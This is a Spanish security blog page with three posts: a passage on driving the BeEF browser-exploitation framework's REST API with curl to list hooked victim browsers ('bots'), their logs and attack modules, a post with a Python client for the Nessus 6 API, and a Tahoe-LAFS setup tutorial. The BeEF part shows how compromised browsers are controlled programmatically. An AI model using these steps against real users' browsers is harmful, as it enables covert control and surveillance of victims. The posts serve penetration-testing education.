En este caso, el valor “session” del bot nos permite acceder a todos los detalles del navegador web de la víctima, algo que puede ser utilizado para posteriormente ejecutar ataques dirigidos contra dicho bot.
Accediendo a los logs de un bot
| >curl http://localhost:3000/api/logs/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a {“logs_count”:42,”logs”:[{“id”:2,”date”:”2015-07-08T22:02:28+02:00″,”event”:”192.168.1.98 appears to have come back online”,”type”:”Zombie”},{“id”:3,”date”:”2015-07-08T22:02:28+02:00″,”event”:”192.168.1.98 just joined the horde from the domain: Unknown:0″,”type”:”Zombie”},{“id”:4,”date”:”2015-07-08T22:02:29+02:00″,”event”:”0.012s – [Focus] Browser window has regained focus.”,”type”:”Event”},……. |
También se puede acceder a los logs de que se han producido para un bot concreto, nuevamente partiendo del valor “session” del bot en cuestión.
Listando los módulos disponibles en Beef
| >curl http://localhost:3000/api/modules?token=4ecc590cb776484412492a7bd3f0ad03cd47660a
{“0”:{“id”:1,”class”:”Iframe_above”,”name”:”Create Foreground iFrame”,”category”:”Persistence”},”1″:{“id”:2,”class”:”Confirm_close_tab”,”name”:”Confirm Close Tab”,”category”:”Persistence”},”2″:{“id”:3,”class”:”Man_in_the_browser”,”name”:”Man-In-The-Browser”,”category”:”Persistence”},”3″:{“id”:4,”class”:”Popunder_window”,”name”:”Create Pop Under”, ……… |
Listar los módulos desde la API Rest no tiene mayores beneficios, ya que es lo mismo que se puede hacer desde el navegador web accediendo directamente al panel de administración, sin embargo si que es importante obtener el identificador de cada módulo para poder ejecutarlo contra uno o varios bots de forma programática, dicho identificador se puede obtener de la respuesta a la invocación del servicio anterior.
Existen muchos más endpoints en la API Rest de Beef que se encuentran documentados en el siguiente enlace: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API y que nos permitirá acceder a todos los detalles de configuración del panel de Beef y controlar programáticamente todas las víctimas capturadas, algo que desde luego resulta muy interesante y que veremos en el próximo artículo utilizando Python.
Saludos y Happy Hack!
Adastra.
La API Rest de Nessus en su versión 6
Hace algunos meses que ha salido la versión 6 de Nessus, el popular escaner de vulnerabilidades diseñado y desarrollado por “Tenable network security” y la verdad es que llevaba tiempo sin trabajar con él, pero la semana pasada me escribió alguien comentando que la librería que desarrollé hace algunos meses (pynessus-rest) para interactuar programáticamente desde cualquier script en Python con Nessus, no le funcionaba correctamente. Pues bien, me puse a ver las trazas que me había enviado y me resultaron de lo más curiosas, ya que ni siquiera había conseguido obtener un token de autorización utilizando su cuenta de usuario. Pensé que a lo mejor se debía a un fallo en su instalación de Nessus o algo similar, así que me descargo e instalo la última versión de Nessus, escribo un script simple en el que solamente me autentico y creo una política y a continuación, cierro sesión para destruir el token creado anteriormente. 5 líneas de código, ni más ni menos. Pues bien, también me falla. Comienzo a revisar qué puede estar pasando y me llevo una “agradable” sorpresa al ver que la API Rest de Nessus 6.0 no es compatible hacia atrás con las demás versiones de Nessus.
Pues muy bien, es estupendo hacer cosas sobre un producto que no solamente no sigue sus propios estándares, sino que además no documenta adecuadamente los cambios que hace tras cada versión. La guía oficial a la fecha de redactar este artículo sigue siendo la correspondiente a la API Rest 5.0 (http://static.tenable.com/documentation/nessus_5.0_XMLRPC_protocol_guide.pdf) y por mucho que he buscado, no he encontrado esa misma guía para la nueva especificación, solamente comentarios en el foro de “Tenable” en el que mucha gente hace básicamente las mismas preguntas, ya que no hay una guía en la que se indique exactamente todos los detalles de los servicios REST de Nessus 6, tales como métodos HTTP soportados, parámetros, cabeceras, path de los servicios, descripción funcional detallada, etc. Lo más parecido a una documentación actualizada se encuentra en la propia interfaz de Nessus en la siguiente ruta: https://<NESSUS_SERVER>:8834/nessus6-api.html#/
Allí se explican todos los servicios que se encuentran actualmente disponibles en la versión 6 y como se puede ver, el path de los servicios en la versión 5.0 ha cambiado drásticamente en la versión 6.0. Así que si tenias algún script para automatizar alguna tarea utilizando la API Rest de Nessus en su versión 5.0, ya te puedes olvidar de que funcione en las nuevas versiones de Nessus. Ahora bien, es perfectamente comprensible que cada nueva versión de un programa incluya mejoras y nuevas características, cosas que hacen que el programa en cuestión evolucione y sea cada vez mejor, pero lo que siempre hay que tener en cuenta es que los usuarios esperan que las cosas que funcionaban en una versión, sigan funcionando correctamente en la siguiente (salvo error u omisión). Lo que se espera es que las interfaces o mecanismos de acceso sigan siendo los mismos, con el objetivo de que una posible migración sea lo más transparente posible. En el caso de la API Rest de Nessus, ninguno de los endpoints que estaban disponibles en la versión 5 de la API se encuentra disponibles en la versión 6, lo que obliga a todos los usuarios que actualicen Nessus a volver a implementar completamente todas rutinas automatizadas que tiren de la API.
Aunque con los nuevos cambios implementados en la versión actual de Nessus, la librería “pynessus-rest” queda deprecada, aun es posible seguir utilizando Python para realizar conexiones contra una instalación de Nessus y obtener información a partir de la API Rest de Nessus 6.
Para hacerlo, se puede utilizar cualquier librería para realizar peticiones HTTP, algo que abunda en Python. Por comodidad y simplicidad se puede utilizar “requests”.
Autenticación contra Nessus usando requests
Como se puede apreciar, es muy fácil conseguir un token de autenticación valido para interactuar con otros servicios de la API mucho más interesantes y en este caso concreto, lo único que ha cambiado entre la versión 6 y la versión 5 de la API es el endpoint, que ahora es “/session”. Si los cambios de todos los servicios fueran así de simples, no habría mayor problema, pero debido al rediseño que ha tenido el propio core Nessus en la versión actual, muchos de los servicios más utilizados como aquellos que permiten crear/editar políticas, gestionar escaneos y reportes, también han cambiado en la forma y estructura en la que devuelven información, con lo cual, una rutina de parseo del JSON de respuesta que antes funcionaba perfectamente en la versión 5 no va a funcionar para la versión 6. Es un limitante que impide la migración de scripts que esperan un formato y una estructura muy especifica para parsear la información que viene incluida en los JSON de respuestas. No obstante, en el caso de crear scripts desde cero, partiendo de la versión actual y con las reglas definidas en los servicios, realizar peticiones y procesar respuestas no es demasiado complicado y como siempre, se debe partir de un token valido para invocar a servicios que requieren autenticación para ser invocados, algo que ya se ha visto en la imagen anterior. El siguiente script enseña cómo utilizar las principales funciones en “pynessus-rest” adaptándolas un poco a los nuevos servicios disponibles en la versión 6.
import requests
import json
class NessusClient():
def __init__(self, nessusServer, nessusPort,
validateCert=False,initialSeqNumber=1):
self.nessusServer = nessusServer
self.nessusPort = nessusPort
self.url='https://'+str(nessusServer)+':'+str(nessusPort)
self.token = None
self.headers = {}
self.bodyRequest = {}
self.seqNumber = initialSeqNumber
self.validateCert = validateCert
def constructParamsAndHeaders(self,
headers={}, params={}, jsonFormat=True):
if jsonFormat:
self.body = {'seq' : self.seqNumber,
'json' : '1'}
else:
self.body = {'seq' : self.seqNumber,
'json' : '0'}
if self.token is not None:
#No authentication needed.
self.headers={'Host': str(self.nessusServer)+':'+str(self.nessusPort), 'Content-type':'application/x-www-form-urlencoded',
'X-Cookie':'token='+self.token,'seq':self.seqNumber}
else:
self.headers={'Host':str(self.nessusServer)+':'+str(self.nessusPort),
'Content-type':'application/x-www-form-urlencoded'}
self.body.update(params)
self.headers.update(headers)
print self.headers
def requestNessus(self, url, method="POST"):
'''
Perform a request to Nessus server using the data and headers received by parameter.
This function automatically increments the sequence identifier for Nessus requests.
'''
if method == "GET":
response = requests.get(url,
data=self.body, headers=self.headers, verify=self.validateCert)
else:
response = requests.post(url,
data=self.body, headers=self.headers, verify=self.validateCert)
self.seqNumber += 1
try:
return json.loads(response.content)
except ValueError:
return response.content
def call(self, service, params={},
jsonFormat=True, method="GET"): self.constructParamsAndHeaders(params=params,
jsonFormat=jsonFormat)
content =self.requestNessus(self.url+service, method=method)
return content
def login(self, nessusUser, nessusPassword,
jsonFormat=True):
'''
Login with the Nessus server using the user and password specified.
'''
self.constructParamsAndHeaders(params= 'username':nessusUser, 'password':nessusPassword})
content = self.requestNessus(self.url+"/session", method="POST")
if content.has_key("token"):
self.token = content['token']
return content
client = NessusClient('127.0.0.1','8834')
client.login('adastra','password')
print str(client.call('/policies'))+"\n"
print str(client.call('/scans',
params={'folder_id':1, 'last_modification_date':1}))+"\n"
|
El servicio “/scans” es un claro ejemplo de los cambios se han implementado en Nessus en esta última versión, ya que ahora este tipo de elementos se almacenan en contenedores internos de llamados “folders”. Para poder consultar un listado de escaneos es obligatorio especificar el identificador del folder, tal como se ha visto en el script anterior.
Peticiones y respuestas tras invocar a los servicios “/scans” y “/policies”
La imagen corresponde a lo que pinta por pantalla el script anterior, de tal forma que se pueden ver las cabeceras de las peticiones así como también el cuerpo de las mismas. Las respuestas emitidas por Nessus vienen en formato JSON y contienen información sobre las políticas y escaneos que se han creado.
Si quieres conocer más sobre los servicios que se encuentran disponibles en la nueva versión Nessus, te recomiendo que te fijes en la documentación que viene incluida en https://<NESSUS_SERVER>:8834/nessus6-api.html#/ tendrás que levantar una instancia de Nessus y ver los servicios disponibles junto con sus métodos. Si bien la documentación no está mal, hay ciertos detalles importantes que no se detallan pero si que los encuentras en el foro de Nessus, así que también es un buen recurso para visitar con frecuencia.
La persona que me reporto el posible “fallo” en pynessus-rest también me pregunto que si pensaba actualizar la librería para hacerla compatible con los nuevos esquemas definidos en la versión actual. Francamente no tiene sentido dedicar tiempo y esfuerzos en hacer algo que muy probablemente se va a quedar obsoleto en pocos meses debido a que Tenable no consigue definir unas pautas mínimas de compatibilidad entre las distintas versiones de su software. Dicho esto, si utilizas Nessus 5, pynessus-rest te va a funcionar perfectamente a la hora de automatizar tareas, pero para la versión 6 tendrás que programar un poco más y crear tus propias de rutinas de parseo (y esperar a que no se rompa nada cuando salga una nueva versión de Nessus en unos pocos meses).
Un saludo y Happy Hack!
Adastra.
Tahoe-LAFS Sistema de almacenamiento en la nube privado y seguro – Parte 1
El “cloud storage” o almacenamiento en la nube, se ha vuelto muy popular debido a la flexibilidad y beneficios que aporta a los usuarios. La habilidad de subir documentos a un servicio en Internet y poder acceder a ellos desde cualquier lugar y en cualquier momento, es algo muy atractivo para cualquiera, sin embargo en muchas ocasiones, al utilizar algunos de estos servicios en Internet, los usuarios se exponen a varias amenazas que pueden afectar directamente la confidencialidad e integridad de su información. Es cierto que muchos de los proveedores de los servicios de almacenamiento en la nube intentan asegurar los recursos de sus usuarios de la forma más rigurosa posible, pero en algunos casos, con la excusa de mantener la información de sus usuarios “segura” y confidencial, acceden directamente a dicha información, vulnerando de esta forma su privacidad.
Una buena forma de utilizar estos servicios es por medio del cifrado de los documentos desde el origen y de esta forma, evitar que un tercero tenga acceso directo a la información de los documentos almacenados en la nube, pero aun así, es necesario un registro y posterior entrega de datos personales al proveedor. Para los usuarios de redes anónimas tales como I2P, existe una solución que puede resultar mucho más interesante y que no exige el registro de datos personales ni de ningún tipo, permitiendo de esta forma almacenar documentos de forma distribuida y privada. Dicha solución es Tahoe-LAFS.
Tahoe-LAFS (The Last Authority File Store) es un sistema descentralizado y abierto que se encarga de distribuir los documentos de un usuario por múltiples servidores Tahoe. De esta forma, es posible seguir accediendo a la información de forma transparente aunque uno o varios de los servidores se encuentren caídos o comprometidos por un atacante. Solamente el propietario de los documentos o con los permisos adecuados puede ver sus contenidos, esto en Tahoe es lo que se conoce como “Provider Independent Security”, que es justo lo contrario a lo que suele verse en los principales proveedores de almacenamiento en la nube, ya que en este caso, el proveedor del servicio nunca tendrá acceso ni podrá leer y/o modificar la información de ninguno de sus usuarios. Justo lo opuesto a los proveedores de almacenamiento convencionales.
Funcionamiento básico de Tahoe-LAFS
El funcionamiento de Tahoe-LAFS se basa en el concepto de “Storage Grid”, que no es más que un conjunto de servidores de almacenamiento que se encargan de mantener los documentos de los usuarios del sistema. Un servidor de almacenamiento es simplemente un repositorio de datos, el cual no tiene la habilidad de actuar directamente sobre ellos, solamente se encarga de almacenarlos y brindar acceso a uno o varios “gateway”. Un gateway es un sistema independiente que se encarga de comunicarse con los servidores de almacenamiento y proveer acceso a la información que se encuentra almacenada en ellos por medio de protocolos de comunicación comunes tales como HTTP/S, SFTP o FTP. De esta forma un cliente, se comunicará con un gateway y éste a su vez, se comunicará con los servidores de almacenamiento para permitir el acceso a sus documentos. Un cliente en este caso puede ser un navegador web, un programa que se ejecuta por línea de comandos un cliente SFTP, etc. Tal como se mencionaba anteriormente, los servidores de almacenamiento tienen acceso a la información de sus usuarios y la información que se transfiere entre dichos servidores, el gateway y el cliente, se encuentra cifrada, impidiendo que cualquier “entidad” intermedia pueda manipular directamente los datos transferidos.
El procedimiento de instalación de Tahoe-LAFS se detalla a continuación.
Instalación de Tahoe-LAFS
Para instalar una instancia de Tahoe, es necesario tener Python instalado en el ordenador, preferiblemente la versión 2.7 ya que la última versión de Tahoe no funciona correctamente sobre la versión 3.x de Python. Una vez descargada la última versión estable del proyecto desde el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs se procede a instalar ejecutando el siguiente comando:
| >python setup.py build |
El comando anterior se encargará de instalar todas dependencias necesarias para poder arrancar correctamente Tahoe en uno de los modos descritos anteriormente (server o gateway) y además, se encargará también de generar un fichero ejecutable en el directorio <TAHOE_INSTALL>/bin.
En el caso de que exista algún problema ejecutando el script anterior, es posible que falte alguna dependencia necesaria en el sistema y no se ha podido obtener de manera automática por algún motivo. En tal caso, es necesario instalar manualmente la dependencia en cuestión, aunque son programas que suelen venir instalados por defecto en las en las últimas versiones de sistemas basados en Debian.
Por otro lado, para verificar la disponibilidad de todas las funciones que incluye Tahoe, se puede ejecutar el script setup.py con el argumento “trail”
| >python setup.py trial |
En tal caso, se podrán ver por pantalla, cada una de las funciones de Tahoe y si se ha podido comprobar que se encuentran correctamente instaladas y configuradas.
Uso de Tahoe-LAFS
Después de instalar el programa, es el momento de comenzar a utilizarlo y ver cuales son las opciones que se encuentran disponibles a los usuarios. En primer lugar, es posible crear clientes o un storage grid completo, todo esto ejecutando la utilidad “tahoe” que se ha generado automáticamente en el directorio “<TAHOE_INSTALL>/bin” tras ejecutar el proceso de instalación.
El primer paso para comenzar a utilizar el programa, consiste en crear un cliente simple, para ello se ejecuta el siguiente comando:
| >./tahoe create-client Node created in ‘/home/adastra/.tahoe’
Please set [client]introducer.furl= in tahoe.cfg! The node cannot connect to a grid without it. Please set [node]nickname= in tahoe.cfg |
Como se puede apreciar, con el comando anterior se ha creado un cliente simple y se ha creado también el directorio “~/.tahoe”. Tal como se enseña en la salida del comando, se debe establecer la propiedad “introducer.furl” en el fichero de configuración del nodo recién creado (tahoe.cfg) para que de esta forma, sea posible conectar al cliente con un storage grid de servidores.
Para probar las funcionalidades del sistema, existe un storage grid público que se encuentra activo para que los usuarios puedan interactuar con el sistema y opcionalmente con otros usuarios, para encontrar más detalles sobre dicho storage grid, se recomienda ver el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs/wiki/TestGrid
Tal como se explicaba anteriormente, es necesario establecer las propiedades “introducer.furl” y “nickname” en el fichero de configuración del cliente creado anteriormente, para ello se debe editar el fichero de configuración “<TAHOE_INSTALL/.tahoe/tahoe.cfg” y definir los valores adecuados en la sección “[client]”. Ahora bien, los valores de estas propiedades dependerán de si el usuario utiliza el storage grid de pruebas o uno propio. En el caso de utilizar uno propio, se debe indicar el valor del introducer de dicho storage grid en la propiedad “introducer.furl”, en el caso de utilizar el de pruebas, dicho valor se encuentra en el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs/wiki/TestGrid#HowToConnectToThePublicTestGrid
Después de establecer las dos propiedades de configuración anteriores, se puede arrancar el cliente con el siguiente comando.
| >./tahoe run ~/.tahoe STARTING ‘/home/adastra/.tahoe’
running node in ‘/home/adastra/.tahoe’ 2015-06-21 18:29:16+0200 [-] Log opened. 2015-06-21 18:29:16+0200 [-] twistd 13.2.0 (/usr/bin/python 2.7.6) starting up. 2015-06-21 18:29:16+0200 [-] reactor class: twisted.internet.epollreactor.EPollReactor. 2015-06-21 18:29:16+0200 [-] Listener starting on 37384 2015-06-21 18:29:16+0200 [-] NevowSite starting on 3456 2015-06-21 18:29:16+0200 [-] Starting factory <nevow.appserver.NevowSite instance at 0x7f36175311b8> 2015-06-21 18:29:16+0200 [-] My pid: 13852 2015-06-21 18:29:16+0200 [-] DatagramProtocol starting on 57219 2015-06-21 18:29:16+0200 [-] Starting protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f3617547d88> 2015-06-21 18:29:16+0200 [-] (UDP Port 57219 Closed) 2015-06-21 18:29:16+0200 [-] Stopping protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f3617547d88> |
Ahora que el cliente se ha ejecutado sin errores, lo primero que hará será conectarse con el “introducer” y obtener un listado de storage servers. Es importante tener en cuenta que con lo anterior, solamente se crea un cliente plano, sin ninguna capacidad de almacenar y compartir archivos de otros usuarios, algo que desde luego, es una de las principales potencialidades del sistema y como se verá en un próximo artículo, no es demasiado difícil de instalar y configurar.
A partir de aquí, el usuario puede interactuar con el grid de varias formas, una de ellas es por medio de una interfaz web muy simple que se levanta automáticamente en el puerto 3456. La siguiente imagen enseña dicha interfaz.
Interfaz web del cliente Tahoe.
Como se puede ver, aparece la dirección del “Introducer”, los servidores de almacenamiento conectados y a la izquierda, un panel muy simple para subir directorios o descargar ficheros al sistema de almacenamiento. Cuando se sube un fichero o directorio, automáticamente se generará una URI única del fichero, la cual seguirá el siguiente formato
| URI:SSK:xxx:xxxx |
Dicha URI debe ser utilizada para acceder al documento y se debe ingresar en el campo de texto de la interfaz web que pone “OPEN TAHOE-URI”.
La interfaz web es solamente uno de los mecanismos disponibles en Tahoe para interactuar con los servidores de almacenamiento, pero no es el único, ya que también es posible interactuar con el grid por medio de los comandos disponibles en la utilidad “tahoe” o incluso también es posible utilizar una API Rest para interactuar con el sistema por medio de peticiones HTTP(S).
El objetivo de esta primera entrada era el de introducir al lector en los conceptos básicos de Tahoe-LAFS y en las próximas dos publicaciones, se hablará sobre configuración avanzada del sistema, creación de un grid, uso de la web api y cómo desplegar Tahoe-LAFS en I2P.
Un saludo y Happy Hack!
Adastra.
Servicios en TheHackerWay
Descubre los productos y servicios enfocados a la seguridad informática que ofrecemos en TheHackerWay
Deep web: Privacidad y anonimato.
Compra el libro de "Deep Web: TOR, FreeNET & I2P - Privacidad y Anonimato"
Hacking con Python
Compra el libro de "Hacking con Python".
Python para Pentesters
Compra el libro de "Python para Pentesters".
Número de Visitas:
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido. Con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas a las diferentes facetas de la informática con un énfasis especial en la seguridad.
Saludos y Happy Hack!
adastra
